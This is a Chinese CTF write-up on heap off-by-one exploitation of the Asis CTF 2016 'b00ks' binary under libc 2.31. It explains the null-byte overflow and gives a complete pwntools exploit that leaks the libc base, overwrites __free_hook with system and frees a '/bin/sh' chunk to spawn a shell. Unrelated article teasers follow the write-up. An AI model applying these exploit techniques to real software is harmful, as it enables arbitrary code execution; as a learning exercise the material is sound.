CTF-PWN-堆- 【off-by-one】

文章目录

  • 堆的off-by-one
  • 利用思路
  • Asis CTF 2016 b00ks libc 2.31
  • IDA源码
    • main
    • 输入名字
    • creat函数
    • dele函数
    • edit函数
    • print函数
    • reeditor name函数
  • 思路
  • exp
    • 思路

堆的off-by-one

off-by-one指的是单字节缓冲区溢出(off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等)
写入字节时超过本身申请的一个字节

  • 循环设置错误,多写了一个字节
  • 字符串长度判断有误
    strlen()计算字符串的长度不包括空结束字符
    调用gets函数后 字符串结束符自动添加到输入字符串末尾
    strcpy拷贝时候会把空结束字符也拷贝)

利用思路

  • 当溢出部分可控制任意字节时,且溢出部分为size段时,可修改大小,进而泄露其他chunk数据或者覆盖其他块的数据

  • 当溢出部分固定为NULL字节时,且溢出部分为size段时,且size大小为0x100的整数倍时,它的低字节会被清0,同时标志位都会被清0,这样前一个chunk块会被认为free块

    (1)可以利用unlink
    (2)可以利用同时构造pre_size和对应的NULL字节溢出,然后unlink时合并,此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致,2.28 及之前版本并没有该 check

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

Asis CTF 2016 b00ks libc 2.31

IDA源码

main

在这里插入图片描述

输入名字

在这里插入图片描述
在这里插入图片描述
存在溢出 *a1=0

creat函数

在这里插入图片描述
在这里插入图片描述

dele函数

在这里插入图片描述

edit函数

在这里插入图片描述

print函数

在这里插入图片描述

reeditor name函数

在这里插入图片描述

思路

三类堆块:第一类为name的,第二类为description的,第三类为存储name和description堆块相关信息的
两坨空间:off_202010和0ff_202018分别存储着偏移202060和202040的地址,偏移202060对应的是author name的,偏移202040对应的是第三类堆块的地址
在这里插入图片描述

只有接近或超过top_chunk的size(128KB=2的17次方字节即0x2000)大小时候才会使用mmap扩展.
某些版本libc和mmap分配的堆块之间的偏移是固定的。

  • 利用溢出的空字符特性,首先写入32个字节的名字,然后creat两次,第一次对应的chunk大小都为malloc分配的,且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址,第二次对应的chunk大小大于top_chunk的size从而被mmap分配,然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址
  • 然后重写第一次chunk的description(第二类chunk)构造为description部分对应第二次chunk的地址的chunk,然后重写名字,将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置,从而实现最低位字节为\x00,进而对应了第一次chunk的第二类chunk地址,
  • 然后print,此时会输出第二次chunk对应的description的chunk的地址,由于该chunk是mmap分配的,此时版本对应的该chunk地址和libc基址距离固定,可求libc基地址,进而求__free_hook地址和system函数地址
  • 然后再重写此时的第一次chunk(已经被构造为之前第一次chunk对应的description的chunk了)的description,进而修改第二次chunk的第三类chunk中的description的chunk的地址,此时用__free_hook的地址写入,然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址
  • 再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh,最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址

exp

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
s=process("./b00ks")
f=ELF("./b00ks")
libc=ELF("./libc-2.31.so")

#gdb.attach(s,"b main")
def cre(name_size,name,description_size,description):
    s.recvuntil(b"> ")
    s.sendline(b'1')
    s.recvuntil(b"size: ")
    s.sendline(str(name_size))
    s.recvuntil(b"Enter book name (Max 32 chars): ")
    s.sendline(name)
    s.recvuntil(b"size: ")
    s.sendline(str(description_size))
    s.recvuntil(b"Enter book description: ")
    s.sendline(description)
    

def change(name):
    s.recvuntil(b"> ")
    s.sendline(b"5")
    s.recvuntil(b": ")
    s.sendline(name)

def printbook(id):
    s.recvuntil(b"> ")
    s.sendline(b'4')
    for i in range(id):
        s.recvuntil(b"ID: ")
        id=s.recvline()[:-1]
        s.recvuntil(b"Name: ")
        name=s.recvline()[:-1]
        s.recvuntil(b"Description: ")
        des=s.recvline()[:-1]
        s.recvuntil(b"A"*32)
        addr=s.recvline()[:-1]
        return name,addr

def edit(id,des):
    s.recvuntil(b"> ")
    s.sendline(b"3")
    s.recvuntil(b"edit: ")
    s.sendline(str(id))
  
    s.recvuntil(b"description: ")
   
    s.sendline(des)

def dele(id):
    s.recvuntil(b"> ")
    s.sendline(b"2")
    s.recvuntil(b"to delete: ")
    s.sendline(str(id))


s.recvuntil(b"name: ")
s.sendline(b"A"*32)
cre(64,b'10',32,b'10')
cre(0x21000,b"10",0x21000,b"10")

name,addr=printbook(1)

addr=u64(addr.ljust(8,b"\x00"))
payload=p64(1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xfffffff)
edit(1,payload)
change(b"A"*32)
name,addr=printbook(1)
addr=u64(name.ljust(8,b'\x00'))
libc_base=addr+0x21ff0
free_hook_addr=libc.sym["__free_hook"]+libc_base
payload=p64(free_hook_addr)
edit(1,payload)
systemaddr=libc.sym["system"]+libc_base
edit(2,p64(systemaddr))
payload=b"/bin/sh".ljust(8,b"\x00")
edit(1,payload)
dele(1)
print(hex(addr+0x40))
print(hex(free_hook_addr))
print(hex(systemaddr))
s.interactive()

思路

1.利用IDA偏移加上vmmap命令得到的基址可得(或利用pwngdb 中的search命令搜索字符串从而知道位置)
2得知printf截断特性和原chunk写入时覆盖底地址为\x00(还没)
3在若覆盖生成的结构体指针对应位置伪造结构体(还没覆盖但伪造了)
4覆盖原有的结构体指针
5利用覆盖后的结构体指针
7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容,再次利用printf导致泄露,从而知道函数地址
8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定,进而求得其基址
9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等
10将_free_hook变量地址写到某个位置(可以将该位置存储的地址所指向的内容修改)。可修改_free_hook变量值为system函数地址,然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/159576.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DataFrame.empty 与 DataFrame is None 的区别是?

请注意,empty 与 None 是不同的概念,这个要注意。不信我们试一下: import pandas as pddf pd.DataFrame()df ! df ! Nonedf.empty df is not None # 已经被赋值,为空但不为Nonea is None参考回答: DataFrame.empty…

windows Oracle Database 19c 卸载教程

目录 打开任务管理器 停止数据库服务 Universal Installer 卸载Oracle数据库程序 使用Oracle Installer卸载 删除注册表项 重新启动系统 打开任务管理器 ctrlShiftEsc可以快速打开任务管理器,找到oracle所有服务然后停止。 停止数据库服务 在开始卸载之前&a…

python趣味编程-5分钟实现一个Tic Tac Toe游戏(含源码、步骤讲解)

The Tic Tac Toe In Python是用 Python 编程语言编写的,这个Tic Tac Toe Game In Python是一个简单的基于 GUI 的策略游戏板,非常容易理解和使用。 所有的游戏规则都是一样的,就像我们玩实时井字棋一样,这是一个简单的多人游戏。 Python 中的 Tic Tac Toe 游戏:项目信息 …

助力水泥基建裂痕自动化巡检,基于yolov5融合ASPP开发构建多尺度融合目标检测识别系统

道路场景下的自动化智能巡检、洞体场景下的壁体类建筑缺陷自动检测识别等等已经在现实生活中不断地落地应用了,在我们之前的很多博文中也已经有过很多相关的实践项目经历了,本文的核心目的是想要融合多尺度感受野技术到yolov5模型中以期在较低参数量的情…

市县镇一体化视频会议系统

随着网络技术的飞速发展,县市各部门建成了业务专用通信网络。利用专用通信网络,省一市-县基本上都开通了局域网视频会议系统。我们在市局各科室和各县局间建成了专网跨网段的视频会议系统。连通宝视频会议系统建设方案软硬一体,可实现多点间语…

Navicat 基于 GaussDB 主备版的快速入门

Navicat Premium(16.2.8 Windows版或以上) 已支持对GaussDB 主备版的管理和开发功能。它不仅具备轻松、便捷的可视化数据查看和编辑功能,还提供强大的高阶功能(如模型、结构同步、协同合作、数据迁移等),这…

【数据结构初阶】单链表(附全部码源)

单链表 1,单链表的概念及结构2,单链表的实现2.1初始化内容(所需文件,接口)2.2申请结点2.3打印单链表2.4尾插2.5头插2.6尾删2.7头删2.8查找2.9在pos位置之后插入2.10在pos位置前面插入2.11删除pos之后的值2.12删除pos位…

【Synopsys Bug记录】DC综合报错(显示warning:Unable to resolve reference)

文章目录 一、问题描述二、问题所在三、问题解决总结4.1 Warning的产生4.2 代码风格4.3 网表正确性 一、问题描述 在综合一个SOC时,发现综合后的门级网表文件缺少了apb系统下的子模块的网表。该SOC已经成功在FPGA上运行了,按理说在设计上是没有问题的。在…

TableUtilCache:针对CSV表格进行的缓存

TableUtilCache:针对CSV表格进行的缓存 文件结构 首先来看下CSV文件的结构,如下图: 第一行是字段类型,第二行是字段名字;再往下是数据。每个元素之间都是使用逗号分隔。 看一下缓存里面存储所有表数据的字段 如下图&#xff…

AH4056线性锂电池充电IC:高效、安全的充电解决方案

随着移动设备的普及,人们对电池续航能力的要求越来越高。为了满足这一需求,电池充电技术不断创新。本文将为您介绍一款AH4056线性锂电池充电IC,采用同步整流技术,具有宽输入电压范围、大充电电流、温度保护等优点,适用…

<Linux>(极简关键、省时省力)《Linux操作系统原理分析之Linux 进程管理 4》(8)

《Linux操作系统原理分析之Linux 进程管理 4》(8) 4 Linux 进程管理4.4 Linux 进程的创建和撤销4.4.1 Linux 进程的族亲关系4.4.2 Linux 进程的创建4.4.3 Linux 进程创建的过程4.4.4 Linux 进程的执行4.4.5 Linux 进程的终止和撤销 4 Linux 进程管理 4.…

nginx学习(1)

一、下载安装NGINX: 先安装gcc-c编译器 yum install gcc-c yum install -y openssl openssl-devel(1)下载pcre-8.3.7.tar.gz 直接访问:http://downloads.sourceforge.net/project/pcre/pcre/8.37/pcre-8.37.tar.gz,就…

python爬取穷游网景点评论

爬取穷游网的景点评论数据,使用selenium爬取edge浏览器的网页文本数据。 同程的评论数据还是比较好爬取,不像大众点评需要你登录验证杂七杂八的,只需要找准你想要爬取的网页链接就能拿到想要的文本数据。 这里就不得不提一下爬取过程中遇到的…

FFmpeg 6.1 发布,7.0时代即将来临

11月10日,FFmpeg 6.1正式发布。 FFmpeg 发布版本的时候,按照惯例,会选择一些物理学家名字作为代号,这一新版本代号为“Heaviside”。主要为纪念伟大的英国数学家和物理学家奥利弗黑维塞(Oliver Heaviside)。 奥利弗黑维…

100套Axure RP大数据可视化大屏模板及通用组件库

106套Axure RP大数据可视化大屏模板包括了多种实用美观的可视化组件库及行业模板库,行业模板涵盖:金融、教育、医疗、政府、交通、制造等多个行业提供设计参考。 随着大数据的发展,可视化大屏在各行各业得到越来越广泛的应用。可视化大屏不再…

Simulink 自动代码生成电机控制:模型预测控制(MPC)模块使用总结(1)

目录 前言 MPC模块使用步骤和参数设计 电机控制系统验证 MPC参数调整 MPC和PI控制器比较 总结 前言 前面尝试了基于电机DQ轴电流环的传递函数设计PI控制器的参数,最近尝试了下模型预测控制(MPC)对电流环进行控制,这里总结一下…

MySQL 运算符二

逻辑运算符 逻辑运算符用来判断表达式的真假。如果表达式是真,结果返回 1。如果表达式是假,结果返回 0。 运算符号作用NOT 或 !逻辑非AND逻辑与OR逻辑或XOR逻辑异或 1、与 mysql> select 2 and 0; --------- | 2 and 0 | --------- | 0 | -…

pipeline agent分布式构建

开启 agent rootjenkins:~/learning-jenkins-cicd/07-jenkins-agents# docker-compose -f docker-compose-inbound-agent.yml up -d Jenkins配置添加 pipeline { agent { label docker-jnlp-agent }parameters {booleanParam(name:pushImage, defaultValue: true, descript…

【日常】爬虫技巧进阶:textarea的value修改与提交问题(以智谱清言为例)

序言 记录一个近期困扰了一些时间的问题。 我很喜欢在爬虫中遇到问题,因为这意味着在这个看似简单的事情里还是有很多值得去探索的新东西。其实本身爬虫也是随着前后端技术的不断更新在进步的。 文章目录 序言Preliminary1 问题缘起1.1 Selenium长文本输入阻塞1.2…

60V100V降压ic推荐

在电源降压领域,一款优秀的降压IC需要具备高效、稳定、安全、易于使用等特性。今天,我们为大家推荐一款具有9.2V至100V输入电压范围、4.5A连续输出电流、96%峰值效率、495μA工作静态电流、峰值电流模式控制、100V19mQ高边和低边MOS、固定150kHz开关频率…